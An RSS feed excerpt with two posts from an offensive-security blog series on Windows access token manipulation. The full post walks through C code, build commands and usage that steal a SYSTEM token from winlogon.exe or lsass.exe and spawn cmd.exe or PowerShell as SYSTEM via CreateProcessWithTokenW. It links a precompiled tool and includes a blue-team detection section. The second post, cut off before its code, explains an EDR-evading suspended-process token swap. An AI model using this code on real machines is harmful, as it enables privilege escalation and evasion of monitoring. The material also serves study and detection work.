]]></content:encoded></item><item><title><![CDATA[The Seclogon Shortcut — Spawning SYSTEM Processes via CreateProcessWithTokenW]]></title><description><![CDATA[How a built-in Windows service does the dirty work for you — converting Impersonation tokens to Primary tokens behind the scenes, letting you spawn processes as SYSTEM with fewer privileges and less c]]></description><link>https://rxnveera.blog/the-seclogon-shortcut-spawning-system-processes-via-createprocesswithtokenw</link><guid isPermaLink="true">https://rxnveera.blog/the-seclogon-shortcut-spawning-system-processes-via-createprocesswithtokenw</guid><dc:creator><![CDATA[rxnveera]]></dc:creator><pubDate>Sun, 16 Aug 2026 15:52:59 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/bcd9e289-16d4-4908-853e-b83b44136454.svg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><em>How a built-in Windows service does the dirty work for you — converting Impersonation tokens to Primary tokens behind the scenes, letting you spawn processes as SYSTEM with fewer privileges and less code than any other method.</em></p>
<hr />
<h2>Previously — The Hard Way</h2>
<p>In <a href="https://rxnveera.blog/born-with-a-stolen-soul-spawning-processes-with-swapped-identities-via-ntsetinformationprocess">Part 1</a>, we explored the <strong>Suspended Process Token Swap</strong> — the most evasive token manipulation technique in Windows. We created a clean process, froze it before it executed a single instruction, swapped its identity via the undocumented <code>NtSetInformationProcess</code>, and resumed it as SYSTEM. Maximum evasion, but maximum complexity too:</p>
<ul>
<li><p>Required <code>SeAssignPrimaryTokenPrivilege</code> (SYSTEM-only privilege)</p>
</li>
<li><p>Required manual Primary→Primary token duplication</p>
</li>
<li><p>Required resolving an undocumented <code>ntdll.dll</code> API at runtime</p>
</li>
<li><p>Required creating a suspended process and managing its lifecycle</p>
</li>
<li><p>Required understanding <code>NTSTATUS</code> error codes</p>
</li>
</ul>
<p>What if there was a simpler path? What if Windows itself had a built-in service that could handle the messy token conversion for you?</p>
<p>It does. It's called <strong>Secondary Logon</strong> (<code>seclogon</code>), and it's the engine behind <code>CreateProcessWithTokenW</code>.</p>
<hr />
<h2>The Core Insight — Let Windows Do the Conversion</h2>
<p>Recall the fundamental rule from Part 1:</p>
<blockquote>
<p><strong>A process requires a Primary token. A thread can hold an Impersonation token.</strong></p>
</blockquote>
<p>When you steal a token from another process and duplicate it, you typically get an Impersonation token (or you convert it to one for thread-level impersonation). To spawn a <em>new process</em> with that stolen identity, you need a Primary token — because processes only accept Primary tokens at birth.</p>
<p>In technique <strong>B1</strong> (<code>CreateProcessAsUserW</code>), you do this conversion manually:</p>
<ol>
<li><p>Steal the token</p>
</li>
<li><p>Call <code>DuplicateTokenEx</code> with <code>TokenPrimary</code> to convert Impersonation → Primary</p>
</li>
<li><p>Call <code>CreateProcessAsUserW</code> with the new Primary token</p>
</li>
<li><p>This requires <code>SeAssignPrimaryTokenPrivilege</code> — which regular admins don't have</p>
</li>
</ol>
<p>In technique <strong>B3</strong> (Suspended Token Swap), you also need a Primary token for the swap — same privilege requirement.</p>
<p><strong>B2 is different.</strong> <code>CreateProcessWithTokenW</code> accepts an <strong>Impersonation token directly</strong>. You don't need to convert it. You don't need <code>SeAssignPrimaryTokenPrivilege</code>. The Secondary Logon service (<code>seclogon</code>) running under <code>svchost.exe</code> receives your Impersonation token, converts it to Primary internally using its own SYSTEM-level privileges, creates the process, and hands you back the result.</p>
<pre><code class="language-plaintext">  B1 (manual):     Imp Token → YOU convert → Primary Token → CreateProcessAsUserW
                   Requires: SeAssignPrimaryTokenPrivilege ❌ (admin doesn't have it)

  B2 (seclogon):   Imp Token → seclogon converts → Primary Token → Process Created
                   Requires: SeImpersonatePrivilege ✅ (admin has it)

  B3 (swap):       Primary Token → NtSetInformationProcess on suspended process
                   Requires: SeAssignPrimaryTokenPrivilege ❌ (admin doesn't have it)
</code></pre>
<p>The trade-off is clear: <strong>B2 trades evasion for simplicity</strong>. You need fewer privileges, less code, and no undocumented APIs. But the <code>seclogon</code> service interaction is logged, and the token is visible at process creation time.</p>
<hr />
<img src="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/25d742e9-b9c1-41de-8471-6af79cb0ac92.png" alt="" style="display:block;margin:0 auto" />

<h2>What Is the Secondary Logon Service?</h2>
<p>The Secondary Logon service (<code>seclogon</code>) is a legitimate Windows service that enables the <strong>"Run as different user"</strong> functionality. When you right-click an application and select "Run as different user," or when you use the <code>runas.exe</code> command-line tool — that's <code>seclogon</code> working behind the scenes.</p>
<p>It runs as <code>NT AUTHORITY\SYSTEM</code> under a <code>svchost.exe</code> instance, which means it has all the privileges needed to create processes with arbitrary tokens. When <code>CreateProcessWithTokenW</code> is called, it doesn't do the work itself — it sends an RPC request to the <code>seclogon</code> service, which:</p>
<ol>
<li><p>Takes your Impersonation token</p>
</li>
<li><p>Internally calls <code>DuplicateTokenEx</code> to convert it to a Primary token (using its own SYSTEM privileges)</p>
</li>
<li><p>Creates the process with the Primary token via the kernel</p>
</li>
<li><p>Returns the process handle back to the caller</p>
<img src="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/7724e4b3-ba18-4b59-9207-6d5cd13e18f4.png" alt="" style="display:block;margin:0 auto" /></li>
</ol>
<p>The key insight: <strong>seclogon is already SYSTEM</strong>, so it has <code>SeAssignPrimaryTokenPrivilege</code>. You don't need it — seclogon has it for you.</p>
<hr />
<img src="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/5b79a5a9-78bb-4f74-a620-8289d2a7f9b6.png" alt="" style="display:block;margin:0 auto" />

<h2>The Complete Attack Flow</h2>
<p>Here's the full chain:</p>
<pre><code class="language-plaintext">  ┌──────────────────────────────┐
  │ 1. Check seclogon service    │   ← Must be running                                 | |                              |
  └──────────────┬───────────────┘
                 ▼
  ┌──────────────────────────────┐
  │ 2. Enable SeDebugPrivilege   │   ← Required to touch SYSTEM processes                        |
  └──────────────┬───────────────┘
                 ▼
  ┌──────────────────────────────┐
  │ 3. Steal SYSTEM token from   │   ← OpenProcess → OpenProcessToken                 |
  │    winlogon.exe              │
  └──────────────┬───────────────┘
                 ▼
  ┌──────────────────────────────────────┐
  │ 4. DuplicateTokenEx(                 │
  │      TokenType = TokenImpersonation  │   ← Stay as Impersonation!                           |
  │    )                                 │
  └──────────────┬───────────────────────┘
                 ▼
  ┌──────────────────────────────────────────┐
  │ 5. CreateProcessWithTokenW(              │
  │      hImpersonationToken,                │   ← Imp token goes directly                                     |
  │      LOGON_WITH_PROFILE,                 │
  │      "cmd.exe"                           │
  │    )                                     │
  │    → seclogon converts to Primary        │
  │    → New process runs as SYSTEM          │
  └──────────────────────────────────────────┘
</code></pre>
<p>Compare this to B3's flow — no suspended processes, no <code>NtSetInformationProcess</code>, no <code>NTSTATUS</code> error handling, no undocumented APIs. Five steps instead of ten.</p>
<hr />
<img src="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/ae96cc1f-1314-47a5-9fdd-1360c12b7554.png" alt="" style="display:block;margin:0 auto" />

<h2>The Code — Walking Through Every Line</h2>
<blockquote>
<p>📁 Full source code: <a href="https://github.com/veeramani110400/AccessTokenManipulation_CreateProcessWithTokenW"><code>seclogon_spawn.c</code></a></p>
<p>📁 Shared utility header: <a href="https://github.com/veeramani110400/AccessTokenManipulation_CreateProcessWithTokenW"><code>common.h</code></a></p>
<p>📦 Pre-compiled executable: <a href="https://github.com/veeramani110400/AccessTokenManipulation_CreateProcessWithTokenW"><code>B2_seclogon_spawn.exe</code></a></p>
</blockquote>
<hr />
<h3>Part 1: Checking the seclogon Service</h3>
<p>Before we do anything, we check if the Secondary Logon service is running. If it's disabled (a common hardening measure), <code>CreateProcessWithTokenW</code> will fail with error code 1058 (<code>ERROR_SERVICE_DISABLED</code>).</p>
<pre><code class="language-c">static BOOL check_seclogon_service(void) {
    SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
    if (!hSCM) {
        print_info("Cannot query SCM — proceeding anyway");
        return TRUE;
    }

    SC_HANDLE hSvc = OpenServiceA(hSCM, "seclogon", SERVICE_QUERY_STATUS);
    if (!hSvc) {
        print_fail_custom("Cannot open seclogon service", GetLastError());
        CloseServiceHandle(hSCM);
        return FALSE;
    }

    SERVICE_STATUS ss;
    BOOL running = FALSE;
    if (QueryServiceStatus(hSvc, &amp;ss)) {
        running = (ss.dwCurrentState == SERVICE_RUNNING);
    }

    CloseServiceHandle(hSvc);
    CloseServiceHandle(hSCM);
    return running;
}
</code></pre>
<p>We use the Service Control Manager (<code>OpenSCManagerA</code>) to connect to the services database, open a handle to the <code>seclogon</code> service, and query its current state. If <code>dwCurrentState</code> isn't <code>SERVICE_RUNNING</code>, we bail out with a helpful error message suggesting alternatives (B1 or manually starting the service with <code>sc start seclogon</code>).</p>
<p>This pre-check is important because <code>CreateProcessWithTokenW</code> produces a cryptic error code 1058 when seclogon is disabled. Our explicit check gives the operator actionable information immediately.</p>
<hr />
<h3>Part 2: Stealing and Duplicating the Token</h3>
<p>This part is identical to the other techniques — we steal SYSTEM's token from <code>winlogon.exe</code>:</p>
<pre><code class="language-c">DWORD pid = find_pid_by_name("winlogon.exe");

HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);

HANDLE hStolenPrimary = NULL;
OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &amp;hStolenPrimary);
</code></pre>
<p>But here's where B2 diverges from B1 and B3. When we duplicate the token, we keep it as <strong>Impersonation</strong> — not Primary:</p>
<pre><code class="language-c">HANDLE hImpToken = NULL;
DuplicateTokenEx(
    hStolenPrimary,           /* Source: winlogon's primary token */
    TOKEN_ALL_ACCESS,         /* Full access on the new token */
    NULL,                     /* Default security attributes */
    SecurityImpersonation,    /* Impersonation level */
    TokenImpersonation,       /* ← STAY AS IMPERSONATION! */
    &amp;hImpToken                /* Receives the new impersonation token */
);
</code></pre>
<p>In B1, we'd use <code>TokenPrimary</code> here. In B3, we'd use <code>TokenPrimary</code>. In B2, we explicitly use <code>TokenImpersonation</code> because <code>CreateProcessWithTokenW</code> is designed to accept Impersonation tokens directly. The seclogon service handles the conversion for us.</p>
<p>This is the fundamental insight of the technique: <strong>skip the conversion step entirely and let the OS service do it with its own elevated privileges.</strong></p>
<hr />
<h3>Part 3: CreateProcessWithTokenW — The Core API</h3>
<p>The actual spawn is a single API call:</p>
<pre><code class="language-c">STARTUPINFOW si;
PROCESS_INFORMATION pi;
ZeroMemory(&amp;si, sizeof(si));
ZeroMemory(&amp;pi, sizeof(pi));
si.cb = sizeof(si);
si.lpDesktop = L"WinSta0\\Default";

DWORD dwCreationFlags = CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT;

CreateProcessWithTokenW(
    hImpToken,            /* hToken — Impersonation token is OK! */
    LOGON_WITH_PROFILE,   /* dwLogonFlags */
    NULL,                 /* lpApplicationName */
    spawn_cmd,            /* lpCommandLine — e.g., L"cmd.exe" */
    dwCreationFlags,      /* dwCreationFlags */
    NULL,                 /* lpEnvironment */
    NULL,                 /* lpCurrentDirectory */
    &amp;si,                  /* lpStartupInfo */
    &amp;pi                   /* lpProcessInformation */
);
</code></pre>
<p>Let's break down each parameter:</p>
<p><code>LOGON_WITH_PROFILE</code> <strong>vs</strong> <code>LOGON_NETCREDENTIALS_ONLY</code><strong>:</strong></p>
<table>
<thead>
<tr>
<th>Flag</th>
<th>What it does</th>
<th>When to use</th>
</tr>
</thead>
<tbody><tr>
<td><code>LOGON_WITH_PROFILE</code></td>
<td>Loads the full user profile (HKEY_CURRENT_USER, environment, desktop)</td>
<td>Interactive sessions — when you need the process to "feel" like the target user</td>
</tr>
<tr>
<td><code>LOGON_NETCREDENTIALS_ONLY</code></td>
<td>Only uses the token's identity for network access</td>
<td>When you just need the stolen identity for network resources but want to keep the local profile as-is</td>
</tr>
</tbody></table>
<p>For most offensive use cases, <code>LOGON_WITH_PROFILE</code> is what you want — it creates a fully interactive process under the stolen identity.</p>
<hr />
<h3>Part 4: Error Handling — What Goes Wrong</h3>
<p><code>CreateProcessWithTokenW</code> has three common failure modes, and our code handles all of them:</p>
<pre><code class="language-c">if (!CreateProcessWithTokenW(...)) {
    DWORD err = GetLastError();

    switch (err) {
        case 1314:  /* ERROR_PRIVILEGE_NOT_HELD */
            printf("→ SeImpersonatePrivilege not held\n");
            break;
        case 1058:  /* ERROR_SERVICE_DISABLED */
            printf("→ seclogon service is disabled — use B1 instead\n");
            break;
        case 5:     /* ERROR_ACCESS_DENIED */
            printf("→ Access denied — check token access rights\n");
            break;
    }
}
</code></pre>
<h2>B2 vs B3 — The Honest Comparison</h2>
<p>Let's put these two techniques side by side:</p>
<h3>Privilege Requirements</h3>
<table>
<thead>
<tr>
<th>Privilege</th>
<th>B2 (seclogon)</th>
<th>B3 (NtSetInformationProcess)</th>
</tr>
</thead>
<tbody><tr>
<td><code>SeDebugPrivilege</code></td>
<td>✅ Required</td>
<td>✅ Required</td>
</tr>
<tr>
<td><code>SeImpersonatePrivilege</code></td>
<td>✅ Required</td>
<td>Not needed</td>
</tr>
<tr>
<td><code>SeAssignPrimaryTokenPrivilege</code></td>
<td>Not needed</td>
<td>✅ Required (SYSTEM only!)</td>
</tr>
<tr>
<td><strong>Available to regular Admin?</strong></td>
<td><strong>Yes</strong> ✅</td>
<td><strong>No</strong> ❌</td>
</tr>
</tbody></table>
<p><strong>Winner: B2.</strong> A regular admin account can use B2 directly. B3 requires SYSTEM-level privileges, meaning you need to chain it with thread-level impersonation first.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/2fb0d44c-8ff6-4f03-bab8-dbfde6c96544.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Winner: B3.</strong> The suspended token swap has a fundamentally cleaner forensic trail. The process creation event shows the original identity, and there's no service interaction to log..</p>
<p><strong>Tie.</strong> Each has a different dependency. B2 depends on an external service (which can be disabled). B3 depends on an undocumented API (which could change between Windows versions, though it hasn't in 20+ years).</p>
<h2>Detection Surface — How Blue Teams Catch B2</h2>
<p>B2 is more detectable than B3, but that doesn't mean it's trivial to detect. Here's what to monitor:</p>
<h3>1. Secondary Logon Service Events</h3>
<p>When <code>CreateProcessWithTokenW</code> is called, it generates an RPC interaction with the <code>seclogon</code> service. This can be monitored via:</p>
<ul>
<li><p><strong>Event ID 4688</strong> (Process Creation) — the new process shows the <em>stolen</em> identity, not the caller's identity</p>
</li>
<li><p><strong>Service Control events</strong> — interactions with <code>seclogon</code> from unexpected processes</p>
</li>
<li><p><strong>ETW traces</strong> on the <code>Microsoft-Windows-Security-Auditing</code> provider</p>
</li>
</ul>
<h3>2. Token Type Anomaly</h3>
<p>Legitimate uses of <code>CreateProcessWithTokenW</code> (like <code>runas.exe</code>) follow predictable patterns:</p>
<ul>
<li><p><code>runas.exe</code> → <code>seclogon</code> → new process</p>
</li>
<li><p>Interactive user → right-click "Run as" → <code>seclogon</code> → new process</p>
</li>
</ul>
<p>An attacker's chain is different:</p>
<ul>
<li>Random process → <code>OpenProcessToken</code> on <code>winlogon.exe</code> → <code>DuplicateTokenEx</code> → <code>seclogon</code> → SYSTEM process</li>
</ul>
<p>The combination of <code>OpenProcessToken</code> on a SYSTEM process followed by <code>CreateProcessWithTokenW</code> is suspicious.</p>
<h3>3. Process Tree Analysis</h3>
<p>When B2 spawns a process, the parent PID is the <em>calling process</em>, not <code>seclogon</code>. So you'll see something like:</p>
<pre><code class="language-plaintext">  malware.exe (PID 1234) → cmd.exe (PID 5678, running as SYSTEM)
</code></pre>
<p>A regular admin process spawning a SYSTEM process is always suspicious, regardless of the API used.</p>
<h3>4. seclogon Service State Monitoring</h3>
<p>Organizations that disable <code>seclogon</code> as a hardening measure should monitor for:</p>
<ul>
<li><p>Attempts to start the service (<code>sc start seclogon</code>)</p>
</li>
<li><p>Registry modifications to the service configuration (<code>HKLM\SYSTEM\CurrentControlSet\Services\seclogon</code>)</p>
</li>
<li><p>Successful <code>seclogon</code> starts from non-standard service managers</p>
</li>
</ul>
<h2>Building and Running</h2>
<h3>Cross-Compile from Linux (MinGW)</h3>
<pre><code class="language-bash">x86_64-w64-mingw32-gcc -O2 -Wall -Wextra \
    -o B2_seclogon_spawn.exe seclogon_spawn.c \
    -ladvapi32 -lkernel32 -luserenv -municode
</code></pre>
<p>The <code>-luserenv</code> library is needed because <code>LOGON_WITH_PROFILE</code> triggers user profile loading, which uses APIs from <code>userenv.dll</code>. The <code>-municode</code> flag is needed for the <code>wmain</code> entry point (wide-character argument handling).</p>
<blockquote>
<p>📦 Or grab the pre-compiled exe directly from the <a href="https://github.com/veeramani110400/AccessTokenManipulation_CreateProcessWithTokenW">repository</a>.</p>
</blockquote>
<h3>Usage</h3>
<pre><code class="language-powershell"># Default: steal from winlogon.exe → spawn cmd.exe as SYSTEM
.\B2_seclogon_spawn.exe

# Custom: steal from lsass.exe → spawn powershell as SYSTEM
.\B2_seclogon_spawn.exe lsass.exe "powershell.exe"
</code></pre>
<h3>Expected Output (When Run as Admin)</h3>
<pre><code class="language-plaintext">  ╔══════════════════════════════════════════════╗
  ║   Access Token Manipulation — PoC Toolkit    ║
  ╚══════════════════════════════════════════════╝

  Technique: B2 — CreateProcessWithTokenW (seclogon shortcut)
  Target:    winlogon.exe
  Spawn:     cmd.exe

[*] Checking if Secondary Logon (seclogon) service is running...
[+] seclogon service is RUNNING — CreateProcessWithTokenW will work

[*] Current process identity:
[+] Running as: DESKTOP\Alice

[*] Enabling SeDebugPrivilege...
[+] SeDebugPrivilege enabled
[*] Enabling SeImpersonatePrivilege...

[*] Finding winlogon.exe...
[+] Found winlogon.exe at PID 612
[+] Stolen primary token acquired
[+] Stolen identity: NT AUTHORITY\SYSTEM

[*] Duplicating token as Impersonation (NO conversion to Primary needed!)...
[+] Token duplicated as TokenImpersonation
[*] Duplicated Token Type: TokenImpersonation
[*] NOTE: No Imp→Primary conversion needed — seclogon handles it internally

[*] Spawning process via CreateProcessWithTokenW...
[*] (seclogon service will convert Impersonation → Primary internally)

  ╔══════════════════════════════════════════════════╗
  ║  PROCESS SPAWNED VIA SECLOGON (Imp token OK!)    ║
  ╚══════════════════════════════════════════════════╝

[+] PID: 3456
[+] Thread ID: 3460
[+] Process running as: NT AUTHORITY\SYSTEM

  B2 vs B1 advantage: No SeAssignPrimaryTokenPrivilege required!
  B2 vs B3 advantage: No undocumented APIs, simpler implementation.
  B2 weakness:        Depends on seclogon service being enabled.
  B2 vs B3 weakness:  Token IS visible in process creation event.

[+] B2 technique complete.
</code></pre>
<p>Notice the simplicity compared to B3's output — no suspended process, no before/after identity verification, no <code>NtSetInformationProcess</code> resolution. The seclogon service handles the messy parts.</p>
<h2>The Bigger Picture — Where B2 Fits</h2>
<p>We now have 6 complete token manipulation techniques. Here's the complete map:</p>
<table>
<thead>
<tr>
<th>Technique</th>
<th>API</th>
<th>Token Direction</th>
<th>Privilege Bar</th>
<th>Evasion Level</th>
<th>Service Dependency</th>
</tr>
</thead>
<tbody><tr>
<td><strong>A1</strong> — Steal &amp; Impersonate</td>
<td><code>SetThreadToken</code></td>
<td>Primary → Imp</td>
<td>Admin</td>
<td>N/A</td>
<td>None</td>
</tr>
<tr>
<td><strong>A2</strong> — Privilege Reduction</td>
<td><code>AdjustTokenPrivileges</code></td>
<td>Primary → Imp</td>
<td>Admin</td>
<td>N/A</td>
<td>None</td>
</tr>
<tr>
<td><strong>B1</strong> — <code>CreateProcessAsUserW</code></td>
<td>Direct kernel call</td>
<td>Imp → Primary</td>
<td><strong>SYSTEM</strong></td>
<td>🔴 High visibility</td>
<td>None</td>
</tr>
<tr>
<td><strong>B2</strong> — <code>CreateProcessWithTokenW</code> <em>(this blog)</em></td>
<td>Via <code>seclogon</code></td>
<td>Imp → (auto) Primary</td>
<td><strong>Admin</strong> ✅</td>
<td>🟡 Medium</td>
<td>seclogon</td>
</tr>
<tr>
<td><strong>B3</strong> — Suspended Token Swap</td>
<td><code>NtSetInformationProcess</code></td>
<td>Primary → Primary</td>
<td><strong>SYSTEM</strong></td>
<td>🟢 Low visibility</td>
<td>None</td>
</tr>
<tr>
<td><strong>B4</strong> — <code>CreateProcessWithLogonW</code></td>
<td>Via <code>seclogon</code> + creds</td>
<td>Credentials → Primary</td>
<td><strong>Admin</strong></td>
<td>🟡 Medium</td>
<td>seclogon</td>
</tr>
</tbody></table>
<p>B2 sits in the sweet spot: <strong>admin-accessible with reasonable simplicity.</strong> It's not the stealthiest (B3 wins there), and it's not the most portable (B1 wins there), but it's the technique you reach for when you have admin privileges and just need a SYSTEM process spawned quickly.</p>
<hr />
<h2>Conclusion</h2>
<p><code>CreateProcessWithTokenW</code> via the Secondary Logon service represents the <strong>pragmatic middle ground</strong> in token manipulation. It sacrifices the forensic cleanliness of B3's suspended token swap for a dramatically simpler implementation that works from a regular admin context — no SYSTEM-level privileges required, no undocumented APIs, no manual token type conversion.</p>
<p>The trade-offs are real:</p>
<ul>
<li><p><strong>seclogon dependency</strong> — if the service is disabled, the technique fails entirely</p>
</li>
<li><p><strong>Visible at creation</strong> — the stolen identity appears in process creation events and EDR callbacks</p>
</li>
<li><p><strong>Service interaction logged</strong> — the RPC call to seclogon is observable</p>
</li>
</ul>
<p>But in environments where seclogon is running (the default Windows configuration), B2 gives you the fastest path from "admin shell" to "SYSTEM process" with the least amount of code.</p>
<p><strong>The series so far:</strong></p>
<ul>
<li><p><strong>Part 1 (B3):</strong> <a href="https://rxnveera.blog/born-with-a-stolen-soul-spawning-processes-with-swapped-identities-via-ntsetinformationprocess">Born With a Stolen Soul — Suspended Process Token Swap via NtSetInformationProcess</a></p>
</li>
<li><p><strong>Part 2 (B2):</strong> The Seclogon Shortcut — CreateProcessWithTokenW <em>(this blog)</em></p>
</li>
</ul>
<p><em>MITRE ATT&amp;CK References:</em></p>
<ul>
<li><p><a href="https://attack.mitre.org/techniques/T1134/002/"><em>T1134.002 — Access Token Manipulation: Create Process with Token</em></a></p>
</li>
<li><p><a href="https://attack.mitre.org/techniques/T1134/001/"><em>T1134.001 — Access Token Manipulation: Token Impersonation/Theft</em></a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[ Born With a Stolen Soul — Spawning Processes With Swapped Identities via NtSetInformationProcess]]></title><description><![CDATA[How we create a legitimate Windows process, replace its identity before it executes a single instruction, and wake it up as SYSTEM — invisible to most EDR process creation hooks.
Introduction — What E]]></description><link>https://rxnveera.blog/born-with-a-stolen-soul-spawning-processes-with-swapped-identities-via-ntsetinformationprocess</link><guid isPermaLink="true">https://rxnveera.blog/born-with-a-stolen-soul-spawning-processes-with-swapped-identities-via-ntsetinformationprocess</guid><dc:creator><![CDATA[rxnveera]]></dc:creator><pubDate>Sat, 08 Aug 2026 18:35:06 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/25cb5803-1b92-4bfa-9cd8-d8b89032316a.svg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><em>How we create a legitimate Windows process, replace its identity before it executes a single instruction, and wake it up as SYSTEM — invisible to most EDR process creation hooks.</em></p>
<h2>Introduction — What Even Is a Token?</h2>
<p>Before we get into the exploit, let's build a mental model that sticks.</p>
<p>Every process running on your Windows machine has an <strong>identity card</strong> stapled to it. Windows calls this card an <strong>Access Token</strong>. When <code>notepad.exe</code> tries to open a file, it's not notepad asking — it's the token attached to notepad that says <em>"I am DESKTOP\Alice, I belong to the Users group, and I have these specific permissions."</em> The kernel reads that token, checks it against the file's security descriptor, and decides: allow or deny.</p>
<h3>The Two Types of Tokens</h3>
<p>There are exactly <strong>two types</strong> of tokens in Windows:</p>
<table>
<thead>
<tr>
<th>Type</th>
<th>Who holds it</th>
<th>Analogy</th>
<th>Purpose</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Primary Token</strong></td>
<td>A <strong>Process</strong></td>
<td>Your <strong>passport</strong> — permanent, defines who you are</td>
<td>Set at birth, inherited by all threads inside the process. Determines what the process can access.</td>
</tr>
<tr>
<td><strong>Impersonation Token</strong></td>
<td>A <strong>Thread</strong></td>
<td>A <strong>visitor badge</strong> — temporary, borrowed identity</td>
<td>One thread can pretend to be someone else without changing the process's identity. Used for temporary privilege changes.</td>
</tr>
</tbody></table>
<img src="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/0497bc24-a1df-4bbc-a541-f6a065481e33.png" alt="" style="display:block;margin:0 auto" />

<p>Here's the structural rule that governs everything in this blog:</p>
<blockquote>
<p><strong>A thread cannot hold a Primary token in its context, and a process cannot hold an Impersonation token.</strong></p>
<p>The kernel enforces this. They're structurally incompatible — like trying to plug a USB-A cable into a USB-C port. You need an adapter. That adapter is <code>DuplicateTokenEx</code>, which converts between the two types. You'll see it multiple times in our code.</p>
</blockquote>
<h3>Why Do Two Types Exist?</h3>
<p>Think about a web server. The server process runs as <code>NT AUTHORITY\SYSTEM</code> — its Primary token is the SYSTEM identity. When a client connects and authenticates as <code>DOMAIN\Alice</code>, the server needs to temporarily act as Alice to check if she can access the requested file. But the server doesn't want to <em>become</em> Alice permanently — it needs to go back to being SYSTEM for the next request.</p>
<p>The solution: the server thread grabs an Impersonation token for Alice, does the file check, then drops the impersonation. The process stays SYSTEM. The thread temporarily wore Alice's badge, then took it off.</p>
<p>Attackers reverse this pattern. Instead of a server wearing a <em>less</em>-privileged badge temporarily, an attacker wears a <em>more</em>-privileged badge — stealing SYSTEM's identity and wearing it on their thread.</p>
<h3>The Two Things Attackers Do With Tokens</h3>
<p>Everything in token manipulation boils down to two moves:</p>
<p><strong>Move 1 — Steal &amp; Wear (Thread-Level Takeover):</strong> Open a SYSTEM process → grab its Primary token → convert it to Impersonation → apply it to your thread. Your thread now acts as SYSTEM. The process itself still looks normal from the outside. This is fast, quiet, and temporary.</p>
<p><strong>Move 2 — Steal &amp; Spawn (Process-Level Takeover):</strong> Take that stolen token → convert it to Primary → use it to create a brand new process. The new process is <em>permanently</em> SYSTEM. It survives even if you kill the original attacker process.</p>
<p>This blog covers a specific — and the most evasive — variant of Move 2.</p>
<hr />
<h2>What We're Going to Do</h2>
<p>Instead of spawning a process <em>with</em> a stolen token (which process creation APIs log and EDR products intercept), we're going to:</p>
<ol>
<li><p><strong>Create a clean, legitimate process</strong> — like <code>notepad.exe</code> — using our own boring identity</p>
</li>
<li><p><strong>Freeze it before it executes a single instruction</strong> using <code>CREATE_SUSPENDED</code></p>
</li>
<li><p><strong>Swap its identity</strong> with a stolen SYSTEM token via an undocumented kernel API (<code>NtSetInformationProcess</code>)</p>
</li>
<li><p><strong>Resume it</strong> — the process wakes up as SYSTEM, with no trace of the swap in creation logs</p>
</li>
</ol>
<p>The process is born legitimate but wakes up as someone else entirely.</p>
<p>We call this the <strong>Suspended Process Token Swap</strong>, and it's the most advanced token manipulation technique in the Windows attacker's toolkit.</p>
<hr />
<h2>Why Not Just Use CreateProcessAsUserW?</h2>
<p>Fair question. The typical way to spawn a process with a stolen token is <code>CreateProcessAsUserW</code> or <code>CreateProcessWithTokenW</code>. Both work, but both have a critical flaw from an attacker's perspective:</p>
<p><strong>The process creation event already contains the stolen identity.</strong></p>
<p>When Windows logs Event ID 4688 (Process Creation), the token information is baked into the event at creation time. EDR products hook <code>CreateProcessAsUserW</code> and see exactly what token you're passing. The entire operation — "here's a token, spawn this process with it" — is a single, observable action.</p>
<pre><code class="language-plaintext">Traditional approach (detectable):
  CreateProcessAsUserW(stolenToken, "cmd.exe")
  → Event 4688 fires with stolenToken's identity
  → EDR sees: "Why is admin spawning cmd.exe as SYSTEM?"
</code></pre>
<p>What if we could separate those two steps? Create the process with our <em>own</em> identity, and then <em>later</em>, before it runs any code, silently replace its identity with the stolen one?</p>
<pre><code class="language-plaintext">Our approach (evasive):
  Step 1: CreateProcessW("notepad.exe", CREATE_SUSPENDED)  → Event 4688 fires with OUR identity (boring)
  Step 2: NtSetInformationProcess(swap token)              → No event. Silent.
  Step 3: ResumeThread()                                   → Process runs as SYSTEM
</code></pre>
<p>That gap between Step 1 and Step 2 is where the evasion lives.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/ae1bcd4a-bde4-4d42-af95-7f7e2be8cdda.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>The Kernel's One Exception: Suspended Processes</h2>
<p>Here's a structural rule from the Windows kernel:</p>
<blockquote>
<p><strong>You cannot hot-swap the primary token of a running process.</strong></p>
<p>Once a process has started executing threads, its primary token is locked. The kernel refuses <code>NtSetInformationProcess</code> with <code>STATUS_ACCESS_DENIED</code> or <code>STATUS_NOT_SUPPORTED</code>. This makes sense — imagine swapping the identity of a process that's halfway through a security check. The results would be undefined.</p>
</blockquote>
<p>But there's an exception. When you create a process with the <code>CREATE_SUSPENDED</code> flag, the process exists in memory — its address space is set up, its primary thread is created — but <strong>no code has executed</strong>. The thread is frozen before the very first instruction of <code>ntdll!LdrInitializeThunk</code>. In this state, and <em>only</em> in this state, the kernel permits a primary token swap via <code>NtSetInformationProcess</code>.</p>
<p>The moment you call <code>ResumeThread</code>, the window closes. No more swaps. The process runs with whatever token it has at that point — permanently.</p>
<hr />
<h2>The Complete Attack Flow</h2>
<img src="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/8f5965af-fa27-490a-a788-709be097282a.png" alt="" style="display:block;margin:0 auto" />

<p>Here's the full chain, step by step:</p>
<p>The critical insight: <strong>Step 4 creates the process with YOUR identity. Step 5 overwrites it.</strong> Any tool that only inspects the creation event sees a normal, boring process launch. The token swap happens in the gap between creation and execution.</p>
<h2>The Code — Walking Through Every Line</h2>
<blockquote>
